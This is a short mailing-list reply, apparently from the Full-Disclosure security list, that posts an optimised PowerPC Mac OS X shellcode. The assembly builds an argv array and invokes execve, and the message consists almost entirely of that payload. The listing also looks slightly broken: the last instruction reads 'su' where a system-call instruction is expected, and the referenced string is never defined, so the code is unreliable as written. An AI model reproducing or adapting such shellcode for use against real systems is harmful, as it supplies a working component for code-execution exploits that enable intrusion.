Re: [Full-Disclosure] PPC OSX Shellcode ASM

[Andrew Pinski <pinskia@xxxxxxxxxxxxxx>]

The original code for execeve can be improved on, yes it is the same 
size (but faster for 970):
_main:
	bcl 20,31,"L00000000001$pb"  ;fast way of not flushing the lr link 
stack
"L00000000001$pb":
	mflr r3   ; r3 = main+8
	xor r5,r5,r5  ; r5 = 0
	addi r3, r3, lo16(string)  ;r3 = string
	stw r3, -8(r1)   ;argv[0] = string
	stw r5, -4(r1)	; argv[1] = NULL
	subi r4, r1,8	;r4 = pointer to argv[]
	li r0, 59	; r0 = 59 execve()
	su		; execve(r3, r4, r5)

Thanks,
Andrew Pinski

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html